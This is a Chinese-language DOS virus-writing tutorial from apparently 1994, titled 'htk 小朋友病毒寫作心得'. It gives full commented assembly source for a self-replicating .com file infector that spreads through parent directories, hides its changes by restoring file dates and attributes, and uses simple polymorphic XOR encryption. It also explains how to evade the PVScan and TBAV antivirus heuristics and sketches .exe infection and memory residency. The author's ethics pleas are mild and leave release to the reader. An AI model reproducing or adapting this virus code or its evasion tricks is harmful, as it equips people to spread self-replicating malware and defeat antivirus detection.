--------------------------------------- ~~~~~ htk 小朋友病毒寫作心得 ~~~~~ --------------------------------------- <序論>: 各位網友好!! 小弟之所以想寫這份文件,是想人們都說DOS 要淘汰了 ,這對病毒界是多麼大的震撼!!! 想想以後病毒都要鑽OS 漏洞來生存 了,不能像今日大大方方的使用中斷,但至少將也會受到限制.... 難保病毒這藝術作品不會成為過往雲煙...到時,人們將對此項知識會 少得可憐,至少也會成為懂OS hole 的人之專利品...無辜人們只會覺 得無奈罷了. 寫毒,這件事,聽來玄,事實上也不難,只要你肯下一些功夫,花一點時間 去多接觸你的 PC ,你的功力就不會只限於玩 Game 而已了. 事實上,病毒就是一項Programming designing,只是較偏門,不太被人們 接受...,但多學總是好的,到時你可能會由寫毒高手轉為AV 的一員,那 才是我想看到的,況且,沒玩過毒...就能成為 AV soft 的作者....打死 我也不相信!! <誓言>: 你必須發誓,且培養一種心態: 我們是研究病毒,不是變態的瘋狂毀滅者!! 決不做兩種人 (1)放他人的兇狠病毒之無恥者!! (2)做病毒發作時就毀掉他人的資料之泯滅良心者!! ....至於放不放你自己的作品去測試.... 隨你高興....但後果你必須自己有心理準備. <要求>: 我要求你 (1)對 Assemble 有基礎. (2)對 DOS 內部有一定的了解...至少你要對以下各名詞了解. Boot,Psp,Mcb,Fdb,Bpb,Fat,Partition table,中斷向量...等. (3)有良心和道德! (4)不要被當掉!! :) <工具>: Tasm/Masm,Tlink/Link,Exe2bin,Mem,Debug,文書編輯器. 以上那些東西...不會用...就不管你了. 有關PC 內部中斷的技術資料. <實習>: 我將從 .com 檔的感染方式為你解說. 還告訴你包括一些破目前大部分掃未知病毒AV soft 的方法. 也把我個人對編碼的技巧說一下. 和一些經驗談.... 至於 .exe 檔的和常駐型的(有點麻煩)...後者...筆者尚在研究..... 但也會把一些方法告訴你....(那些方法因為容易識破...所以...不願用, 好啦!!! 饒了對寫毒還沒有幾個月的htk 吧!!) <聲明>: 嚴禁任意刪改本心得..... 我個人 特別要求/嚴重要求/死命要求/拜託懇求....以下那些名單之人.. 不要看完本心得後...笑到肚子痛....注意一下風度啦!! 好不好?? :( Megadeth / hitech / TarMax / Peter Freng / Bugger / Dinosaur /(特別強調我師父) Harimau ....等 老外的話...反正看不懂中文沒關係..... :) 以上的名單只是小弟認識的...其他的大哥...小弟未能結識...深感遺憾... 但願別介意... <程序>: 病毒標準程序: (1)被啟動 {通常是由User 不自覺執行或中斷的產生(限常駐)} (2)找個適合的檔案,<是>就執行(3),<否>就找下一個(2),又沒有跳到(4)! (3)感染動作 (4)結束,並恢復宿主的執行權....簡單吧?? <特徵>: 以下是小弟的一個早期(也沒多早嘛)作品.... (1)感染 .com 檔.....(初級嘛!!) (2)不常駐...(我不知要藏哪?) (3)感染其目錄以上的目錄之適合檔案,一個目錄限一個....(是用父目錄搜尋) (4)屬性隱藏防寫無效.....(廢話!) (5)感染後日期時間不變......(理所當然) (6)不會發作......(我的原則!!!良心!!道德!!) (7)攔截int24 以Disable 掉不幸的防寫訊息....(沒有想到其他方法) (8)有結構化.....(病毒致命傷!! 但為了解說) (9)多形編碼.....(類似啦!有多形概念呦) (10)Pvscan 0.2 版 & Tbav 6.23無法掃得.....(我沒有更好的版本測試) ps:如有雷同....不用懷疑...一定是...我抄人家的...(啊~~被揪出來了) <實作>: .model tiny ONE SEGMENT ;傳統的宣告比較好,若用新式宣告法 ASSUME CS:ONE,DS:ONE,ES:ONE ;很多的指令組譯器不接受! org 100h ;本母程式為 .com 檔 begin: nop ;等一下會覆蓋此處 nop ;也作為程式結束用 nop nop start: ;病毒本體開始 call set ;為了因各種長度的感染檔案後的定址 set:pop bp ;取得bp 為輔助定址,注意!! 在感染後 b_replace: ;那並不是感染前檔案原長...是原長還要減4 (why自己想!) mov cx,offset set ;從b_replace 到 e_replace 是多形的第一段 inst: ;注意長度要湊好!! dec bp ;為啥不用 pop bp 再用 sub bp,cx 呢? nop ;等一下我會說!! nop nop loop inst ;最後得到就是重要的bp參考值 e_replace: jmp coder ;開始玩編碼啦!! 咱們先去看一下... b1_coder: ;我們又回來啦!剛才是install 所以底下根本不影響 lea si,first_4_bytes[bp] ;可是若是由已感染的檔案來...就完成解碼啦! mov di,100h ;把di 指向 100h 處,恢復那原程式的碼...否則你怎讓 mov cx,2 ;它快樂無事的執行下去? rep movsw xor ax,ax ;這是為了攔截 int24h ,把它指向我們的處理常式 mov ds,ax ;當然是為了防誤寫到防寫的 DISK 造成writting...的 mov si,90h ;訊息呀!!重要! lea di,int24[bp] ;這些都是為了保存 int24h 的原位址 xchg di,ds:[si] mov es:[offset int24_addr+bp],di mov di,es ;全部存到 int24_addr處 xchg di,ds:[si+2] mov es:[offset int24_addr+bp+2],di push es pop ds ;把DTA 設到咱們病毒後面... mov ah,1ah ;為的是不破壞原程式的命令列參數 lea dx,dta_addr[bp] int 21h ;把目前工作目錄儲存起來 mov ah,47h ;因為到時完成感染後要回來原工作目錄呀!! xor dx,dx lea si,now_dir[bp] int 21h dir_loop: ;開始找目標啦!! call infect_file ;先從本目錄下手....咱們跳過去看一看..走! mov ah,3bh ;再切換另個目錄.... lea dx,dotdot[bp] int 21h jnc dir_loop ;失敗了...就一定是在根目錄... over: ;這裡只有防寫時會跳來... mov ah,3bh ;切回原工作目錄吧!! lea dx,now_dir[bp] int 21h ;設定原DTA mov ah,1ah mov dx,80h int 21h ;把int24h 恢復吧!!(因為咱們不常駐!!) xor ax,ax mov ds,ax mov si,90h mov di,es:[offset int24_addr+bp] xchg di,ds:[si] mov di,es:[offset int24_addr+bp+2] xchg di,ds:[si+2] push es pop ds mov ax,100h ;把 100h 丟到堆疊 push ax ret ;用ret 返回囉! 大功告成!! infect_file PROC NEAR ;來啦!! 先找一個下手.... mov ah,4eh mov cx,0007h ;各種屬性! lea dx,file_mark[bp] int 21h jc none_found ;沒找到.. :( 就跳走! found_another: call check_file ;找到就check 它啦! 咱們再進去吧! 走! mov ah,4fh ;若未找到可感染的..會回到這裡...繼續找!! int 21h jnc found_another none_found: ret ;回去剛才的 call infect_file ENDP check_file PROC NEAR ;把DTA 的有關資訊儲存起來..... lea si,dta_addr[bp+15h] ;什麼屬性/時間/日期/長度... mov cx,4 lea di,file_attr[bp] rep movsw ;9個bytes ... movsb ;開始動手腳...二話不說...改屬性!! lea dx,dta_addr[bp+1eh] mov ax,4301h ;設成可以寫... xor cx,cx int 21h ;若防寫..這時就可以知道了...但是int24h jc over ;被我們攔下來啦! ;否跳回 over 那邊有恢復dir/dta/int24h ,不能玩啦! mov ax,3d02h lea dx,dta_addr[bp+1eh] ;可以就開檔!! int 21h xchg ax,bx ;把ax 傳回的 handle 給bx ...以後方便!! mov ah,3fh ;讀前面4 bytes 到 first_4_bytes ... mov cx,4 ;一方面為了check mark ..一方面若未感染..就省到啦! lea dx,first_4_bytes[bp] int 21h ;check mark 吧!! cmp byte ptr [offset first_4_bytes+bp+3],'K' jz c_file ;一樣就跳到 c_file /那邊有恢復attrib,關檔和日期等... ;沒有感染過就把原長剪掉3 byte ,因為你開始的jmp 已經 mov ax,word ptr [offset file_size+bp] ;佔走3 byte 啦!! sub ax,3 ;然後寫入我們的 jmp(e9) 後的 2 bytes ...幹嘛? mov word ptr [offset jmp_4_bytes+bp+1],ax ;否則以後怎跳過來執行?? mov ax,4200h ;下一步再把檔案指位器...移到最前面... xor cx,cx xor dx,dx int 21h ;寫下我們的jmp+跳躍值+'K'mark...共4 bytes mov ah,40h ;原本的4 bytes 我們已經存起來了...還記得嗎? mov cx,jmp_long_bytes lea dx,jmp_4_bytes[bp] int 21h jc write_p ;錯了...不太可能吧? lea si,start[bp] ;現在再把一切病毒本體(可執行的)搬到我們設的DTA lea di,dta_addr[bp+80h] ;後面吧!!...幹嘛?? 玩多形呀!! mov cx,(virus_size+1)/2 ;這次用+1 再除2 ...不會漏掉bytes 且不怕蓋 rep movsw ;到東西啦!! mov ax,4202h ;移動檔案指位器到後面....因為是 .com xor cx,cx ;所以 ax 傳回的就是原長了... xor dx,dx ;事實上也可以用剛才儲存的呀!! int 21h ;隨你高興...為啥這樣用...因為我忘記了嘛!! :( push ax ;先儲存起來....還要用!! ;多形開始...把長度取得0/1/2/3 等值 and ax,03 ;事實上..你也可以取時間嘛!! mov cx,cha_long ;0/1/2/3 這四種...將用作 call & pop 後的 lea si,way1[bp] ;多形小段...(最前面的啦!!) lea di,dta_addr[bp+80h+head_cd] ;小心!!不要蓋錯!! mul cx ;由0/1/2/3 ..我們可以取得要的多形方式... add si,ax ;當然長度都一定!! rep movsb ;隨便抓到一種...蓋過去吧!! pop ax ;把原長拿出來...減掉4 ...還記得嗎? 最前面 call & set sub ax,jmp_long_bytes ;之前有4個nop 剛好4 bytes ...bp 的奧祕呀!! call coder2 ;編碼啦!!(多形的呦!!) 先過去看一看...走!! mov ah,40h ;多形編碼弄完就要...寫進去啦!! mov cx,virus_size lea dx,dta_addr[bp+80h] ;要寫編過的那隻!! int 21h write_p: pop ax ;這裡為啥來個 pop ax 呢? 這個目錄已任務完成...不玩了! c_file: ;等最底下的 ret ...後..就直接跳回 dir_loop啦!! ;若是從他處跳到這裡...下面的 ret 就會回到 inflect_file mov ax,5701h ;那個call 裡...不離開...為啥?? 任務沒做呀!! mov cx,word ptr [offset file_time+bp] ;恢復日期和時間!! mov dx,word ptr [offset file_date+bp] int 21h ;關檔... mov ah,3eh int 21h ;那為何在關檔後才恢復屬性呢?? ;....你可以試試放在前面....保證錯誤!! lea dx,dta_addr[bp+1eh] xor cx,cx ;屬性恢復吧!! mov cl,byte ptr [offset file_attr+bp] mov ax,4301h int 21h ret ; 回去啦!! check_file ENDP coder2 PROC NEAR ;來啦!! 剛才...我們的 ax ...事實上就是下次由被感染的檔 lea si,dta_addr[bp+80h+virus_cd] ;所call ..算得的bp 啦...只是我們 mov cx,(virus_c1-1)/2 ;現在就先幫它算!! 否則..用bp 解碼..怎解 enc2: ;得那麼準?? xor word ptr[si],ax ;這段..你可以跟最初我們的jmp coder 那比比看... add si,2 ;你會發覺有異曲同工之妙呦!! loop enc2 ;編碼完...回去啦!! ret coder2 ENDP int24: ;我們的 int24h 常式 pop ax ;把旗標 pop 出來 or ax,01h ;設定為 carry !! push ax ;丟回去!! iret ;完成 first_4_bytes db 0b4h,4ch,0cdh,21h ;那4 個機器碼,正是 mov ah,4ch /int 21h jmp_4_bytes db 0e9h,00,00,'K' ;那是 jmp+跳躍值+'K'mark dotdot db '..',0 ;父目錄的 asciiz file_mark db '*.com',0 ;這個我不知道是啥耶.... :) way1: mov ax,offset set ;以下的都是...在 call & set 後的 小多形段!! sub ax,bp neg ax nop xchg bp,ax way2: mov bx,offset set sub bx,bp neg bx xchg bx,bp way3: mov cx,offset set sub cx,bp neg cx xchg bp,cx way4: mov dx,offset set sub dx,bp neg dx xchg dx,bp e1_coder: ;編碼結束.... coder: ;來啦!! 我們跳到此處是為了編碼和解碼 lea si,b1_coder[bp] ;因為母程式所得的bp是0 ,所以...xor 後 mov cx,(virus_c1-1)/2 ;不影響..天衣無縫!! 看到那 cx 了嗎? enc: ;如果你的 virus_c1 是奇數...你用+1 再除2 xor word ptr [si],bp ;保證解碼蓋到 lea si...那行指令!! add si,2 ;咱們用 bp 作為解碼key ...嘻... loop enc ;bp 是因感染不同而不同....算不算多形呀?? jmp b1_coder ;怎算來的...等一下會說!! ;跳回去囉!! start_end: ;整個病毒長到此為止!! ;以下的是臨時徵招的... int24_addr dw ? dw ? file_attr db ? file_time dw ? file_date dw ? file_size dd ? now_dir db 64 DUP(0) dta_addr db 0 head_cd EQU b_replace-start cha_long EQU e_replace-b_replace virus_cd EQU b1_coder-start virus_c1 EQU e1_coder-b1_coder virus_size EQU start_end-start jmp_long_bytes EQU 4 ONE ENDS END begin <備註>: 關於 .exe 檔的感染方法...,你必須要有檔頭的參考資料.... 其中要改的是 檔案size(包括你的病毒加原程式除512 的商+1 & 餘數) /ss /sp /ip /cs 值...等寫入原檔頭,當然原 ss,sp,ip,cs 都要保留起來.. 因為載入 .exe 時是把病毒和原程式長一起丟到記憶體...但你的病毒是先 執行的(大多在原程式後面...),要還回控制權時...你可以將原DTA 的segment (病毒執行時要算出來,且暫時保留)加上原檔頭的cs,再用 far jmp 回去!! 所謂 far jmp 是 0eah + ip:cs 共 5 bytes. 因為運算繁雜...我就不說啦~~ 關於常駐型...抱歉..小弟還在找地方常駐....你可以放在640k 去偷減的地方 但要把0413 處的記憶體長度改好呦!!....不過放那邊雖不會被蓋到... 但卻是極容易被發現的!! <好玩的>: 關於Pvscan 0.2 和tbav 的 AI ...我個人認為是滿好騙的!! 前面我之所以不用 call set set:pop bp mov cx,offset set sub bp,cx 是因為此兩種AV 都咬此處.... tbav 是以此判斷是否有感染能力,當然若你的病毒沒有編碼,它就會揪出 一大堆旗標...什麼不正常的檔案搜尋啦..一大堆!! 解決方法...要編碼!! 且你解碼的方式要測試...就是改呀!! 因為..它把一些 編碼視為anti-AV-tracing 的目的...所以...解碼的方式...有創意一點... 但別認為愈短愈好!! ..經過我的測試...用土方法像笨笨的 lodsb/stosb ... 反而它不抓!! pvscan 0.2 更誇張...只咬此處...它認為若此處沒有搜到...表示無法感染 檔案,非病毒之特性.... 根本不管後面我們有沒有編碼!!掃也不掃!! 可是誰得咱們換方法!! 它就沒輒啦!! 但是,據我測試,Pvscan 0.2 抓那個定址參考值處,相當嚴格!! 以下的都會被揪出!! call set set:pop bp mov ax,offset set sub bp,ax (^^^不管你用 ax,bx...啥它都會咬!!) 你也別想先用其他暫存器代替 bp ...它也咬!! 連這方法它咬!! call set set:mov bp,sp mov bp,word ptr[bp] mov cx,offset cx sub bp,cx pop ax ....(暫存器換了也沒用)...照咬!! 所以問題出在sub 上!! 我們可以換 cx 去減bp 然後再取負數呀!! 甚至...我前面用的 mov cx,offset set call set set:dec bp loop set 雖然笨了一點但也可以呀!! (前面中間夾nop 是為了小段多形長度) 你或許會問若是它將來抓 call set 的碼(因為目前那後面偏移值是0000) 那我們不會在 call 與 set 中加些垃圾...再把 offset 的暫存器處理一下 就好了嘛!! .......事實上...以上的那隻毒並不是很好....但你若了解後,就可以 自己做一隻啦!!更多形的! 也許上面那隻不是真正的多形...但是..卻是我 想得很久搞出來的呦!!反正依長度不同而不同...也符合多形的要求啦!! <其他>: 好啦!!快開學啦!!小弟我也只能偶爾玩玩毒,改改版啦...病毒總要進步吧!! 別每次都重作一隻呦!! 麻煩死了...好的地方你把它模組化...久了以後.. 那些各個片段都很有彈性...你一但有很多有模組化的病毒片段....你猜可以 做什麼?? <<<你自己的病毒產生器!!!>>> 聽小弟的建議...寫毒...可以! 發作部份...希望你拿出你的良心!! 因為今天你做狠毒的那種...下次你也會遭別人毒手!! 那正是因果循環!! 拿出你的熱心與良知去研究病毒吧!! 還有!還有!! 不要被當掉!! 寫毒要玩!!課業也要顧!!畢竟那才是正途呀!! :) ......好啦! 一切後會有期!! 掰白!! <> ps:經小弟用pvscan 0.3 測試....以上之病毒會被揪出來,但更可肯定.... pvscan 系列是咬 sub 處....所以上述之 way1/way2 ...會被掃到! 但若是您的病毒只用我最前面的 dec 那一段...而乎略不採用 way1/way2.. 或改用其他方式取偏移值,pvscan 0.3 依然掃不到! 所以.....同理可証...吾人只要在定址處稍加心思..... 祝 各位好運! modified by htk 83,9,14